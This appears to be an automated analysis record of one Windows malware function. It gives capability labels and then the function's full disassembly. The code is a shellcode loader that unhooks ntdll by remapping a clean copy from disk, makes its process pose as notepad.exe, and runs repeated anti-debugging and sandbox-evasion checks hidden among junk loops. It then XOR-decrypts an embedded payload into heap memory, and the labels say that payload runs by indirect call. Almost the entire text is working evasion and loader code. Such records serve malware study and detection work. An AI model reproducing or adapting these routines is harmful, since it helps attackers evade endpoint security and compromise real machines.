Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x808
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x770], xmm6
mov dword [rbp + 0x7b0], ecx
mov qword [rbp + 0x7b8], rdx
call fcn.140002b40
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6e8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov dword [rbp + 0x764], 0xffffffff
mov ecx, 0xb08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov ecx, 0xb08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
add dword [rbp + 0x764], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x764]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003c70
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x764], 0x15f
jle 0x140001526
cmp qword [rbp + 0x768], 0
jne 0x140001645
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
je 0x140001b6a
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x570]
mov rax, qword [rbp + 0x6e8]
mov r10, qword [rbp + 0x768]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x6d0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x75c], 0x302
mov dword [rbp + 0x760], 0x302
jmp 0x140001769
sub dword [rbp + 0x75c], 1
sub dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0x46
jg 0x14000175b
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov qword [rbp + 0x6a8], rax
mov word [rbp + 0x75a], 0
jmp 0x140001b52
mov rax, qword [rbp + 0x6a8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6a8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x75a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x754], 0
mov dword [rbp + 0x750], 0
mov ecx, 0x550
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x74c], 0
jmp 0x140001887
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x74c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x754], eax
add dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0x153
jle 0x140001819
mov dword [rbp + 0x74c], 0
jmp 0x14000190f
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x750]
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x684]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x1400065c0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003df0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x750], eax
add dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0x153
jle 0x14000189f
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x750]
movss xmm1, dword [0x1400065c8]
divss xmm0, xmm1
movss dword [rbp + 0x694], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x694]
movq rax, xmm3
movq xmm0, rax
call fcn.140003b30
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x690], xmm0
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b41
mov dword [rbp + 0x538], 0
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x538]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, 0xc38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x748], 0
jmp 0x140001a42
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065d0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x748]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
movsd xmm1, qword [0x1400065d8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x186
jle 0x1400019f4
mov dword [rbp + 0x748], 0
jmp 0x140001aac
mov eax, dword [rbp + 0x748]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x748]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x688]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x186
jle 0x140001a5a
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x538]
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x538]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x75a]
add eax, 1
mov word [rbp + 0x75a], ax
mov rax, qword [rbp + 0x6a8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x75a], ax
jb 0x1400017ac
mov ecx, 0x4d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x740], 0
mov dword [rbp + 0x73c], 0
mov dword [rbp + 0x744], 0
jmp 0x140001be8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x744]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x678]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x744], 1
cmp dword [rbp + 0x744], 0x134
jle 0x140001b9b
mov dword [rbp + 0x744], 0
mov dword [rbp + 0x744], 0
jmp 0x140001c67
mov eax, dword [rbp + 0x744]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001c36
add dword [rbp + 0x740], 1
jmp 0x140001c60
mov eax, dword [rbp + 0x744]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001c60
add dword [rbp + 0x73c], 1
add dword [rbp + 0x744], 1
cmp dword [rbp + 0x744], 0x134
jle 0x140001c0a
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x738], 0
mov dword [rbp + 0x734], 1
mov dword [rbp + 0x730], 0
mov dword [rbp + 0x674], 0x115
jmp 0x140001cdf
mov edx, dword [rbp + 0x738]
mov eax, dword [rbp + 0x734]
add eax, edx
mov dword [rbp + 0x594], eax
add dword [rbp + 0x730], 1
mov eax, dword [rbp + 0x734]
mov dword [rbp + 0x738], eax
mov eax, dword [rbp + 0x594]
mov dword [rbp + 0x734], eax
mov eax, dword [rbp + 0x730]
cmp eax, dword [rbp + 0x674]
jl 0x140001cac
mov dword [rbp + 0x53c], 0
mov rax, qword [rbp + 0x6f8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x540]
lea rax, [rbp + 0x53c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x668]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x548]
add rax, 0x3c
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov ecx, 0xd20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x72c], 0
jmp 0x140001e1b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x72c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x72c], 1
cmp dword [rbp + 0x72c], 0x347
jle 0x140001d92
mov dword [rbp + 0x72c], 0
jmp 0x140001f47
mov dword [rbp + 0x59c], 0
jmp 0x140001f29
mov eax, dword [rbp + 0x72c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x59c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140001f22
mov eax, dword [rbp + 0x59c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x598], xmm0
mov eax, dword [rbp + 0x72c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rdx, rax
mov eax, dword [rbp + 0x59c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x59c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
movss xmm0, dword [rbp + 0x598]
movss dword [rax], xmm0
add dword [rbp + 0x72c], 1
mov eax, 0x347
sub eax, dword [rbp + 0x72c]
cmp dword [rbp + 0x59c], eax
jl 0x140001e49
add dword [rbp + 0x72c], 1
cmp dword [rbp + 0x72c], 0x347
jle 0x140001e3a
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x660]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
je 0x140001fd1
mov rax, qword [rbp + 0x650]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov ecx, 0
call rax
mov dword [rbp + 0x728], eax
cmp dword [rbp + 0x728], 0xffffffff
je 0x140002a74
mov dword [rbp + 0x534], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x534]
mov r8, qword [rbp + 0x640]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x534]
cmp eax, 1
je 0x140002a74
mov dword [rbp + 0x530], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x530]
mov r8, qword [rbp + 0x638]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x530]
cmp eax, 1
je 0x140002a74
mov dword [rbp + 0x52c], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x52c]
mov r8, qword [rbp + 0x630]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x52c]
cmp eax, 1
je 0x140002a74
mov ecx, 0x70b
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x70b
jne 0x140002a74
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x528], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x528]
mov r8, qword [rbp + 0x628]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x528]
cmp eax, 1
je 0x140002a74
mov ecx, 0x6fa
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6fa
jne 0x140002a74
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0x563
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x563
jne 0x140002a74
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x620], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2941280
mov ecx, 0
call rax
mov qword [rbp + 0x620], rax
cmp qword [rbp + 0x620], 0
je 0x140002a74
mov rax, qword [rbp + 0x620]
mov edx, 0x2941280
mov rcx, rax
call fcn.140004a40
mov rax, qword [rbp + 0x620]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x720], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x610], rax
cmp qword [rbp + 0x610], 0
je 0x14000234f
mov rax, qword [rbp + 0x610]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x608]
mov r9d, 0x3000
mov r8d, 0x27d
mov edx, 0
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140002a74
lea rax, [rbp + 0xa0]
lea rdx, [0x140006138]
mov ecx, 0x90
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x6f0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x6f0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov ecx, 0xeb4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov dword [rbp + 0x71c], 0
jmp 0x14000244a
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x71c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0x3ac
jle 0x1400023fd
mov dword [rbp + 0x71c], 0
jmp 0x140002562
mov dword [rbp + 0x5a4], 0
jmp 0x140002544
mov eax, dword [rbp + 0x71c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5a4]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x14000253d
mov eax, dword [rbp + 0x5a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5a0], eax
mov eax, dword [rbp + 0x71c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, dword [rbp + 0x5a4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5a4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rdx, rax
mov eax, dword [rbp + 0x5a0]
mov dword [rdx], eax
add dword [rbp + 0x71c], 1
mov eax, 0x3ac
sub eax, dword [rbp + 0x71c]
cmp dword [rbp + 0x5a4], eax
jl 0x140002474
add dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0x3ac
jle 0x140002465
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x600]
mov r8d, 0
mov edx, 0x486
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5e8]
mov r9, qword [rbp + 0x5f8]
mov r8d, 0x486
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x5e0]
mov r9, qword [rbp + 0x5d8]
mov r8d, 0x486
mov rcx, rax
call r9
mov dword [rbp + 0x714], 0
mov dword [rbp + 0x710], 0
movabs rax, 0x9a906062a2e21fa5
movabs rdx, 0xea13adbf30029425
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x7bbb3036482bafe2
movabs rdx, 0x5aa64325b60c374d
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x9c4bde4714be7d95
movabs rdx, 0x71696d1846221ede
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x54d42957b39e3a4e
movabs rdx, 0xae59f5bae6021af8
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
mov word [rbp + 0x90], 0x41
movabs rax, 0x582081780c1944cf
movabs rdx, 0x82c75b490121fd5d
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xc74e2b224a306c8b
movabs rdx, 0xd6fa2e59d5a0ae2f
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x25da88fcdf13396
movabs rdx, 0xb998aa7deeed7b11
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov dword [rbp - 0x10], 0x1902c1
mov dword [rbp + 0x718], 0
jmp 0x140002841
cmp dword [rbp + 0x714], 0x32
jne 0x14000280b
mov eax, dword [rbp + 0x718]
cdqe
movzx edx, byte [rbp + rax + 0x50]
mov eax, dword [rbp + 0x714]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x718]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x714], 0
mov dword [rbp + 0x70c], 0xffffffff
mov ecx, 0x19c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a8], rax
add dword [rbp + 0x70c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065d0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x70c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5a8]
add rax, rdx
movsd xmm1, qword [0x1400065d8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x70c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x70c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x70c], 0x336
jle 0x140002760
jmp 0x14000283a
mov eax, dword [rbp + 0x718]
cdqe
movzx edx, byte [rbp + rax + 0x50]
mov eax, dword [rbp + 0x714]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x718]
cdqe
mov byte [rbp + rax], dl
add dword [rbp + 0x714], 1
add dword [rbp + 0x718], 1
mov eax, dword [rbp + 0x718]
cmp eax, 0x40
jbe 0x140002706
mov dword [rbp + 0x718], 0
jmp 0x1400029db
cmp dword [rbp + 0x710], 0x40
jne 0x14000298f
mov eax, dword [rbp + 0x718]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x710]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x718]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x710], 0
mov ecx, 0x588
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b8], rax
mov dword [rbp + 0x704], 0
mov dword [rbp + 0x5b4], 0
mov dword [rbp + 0x708], 0
jmp 0x140002931
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x708]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5b8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x708], 1
cmp dword [rbp + 0x708], 0x161
jle 0x1400028e5
mov dword [rbp + 0x708], 0
jmp 0x140002972
mov eax, dword [rbp + 0x708]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5b8]
add rax, rdx
mov eax, dword [rax]
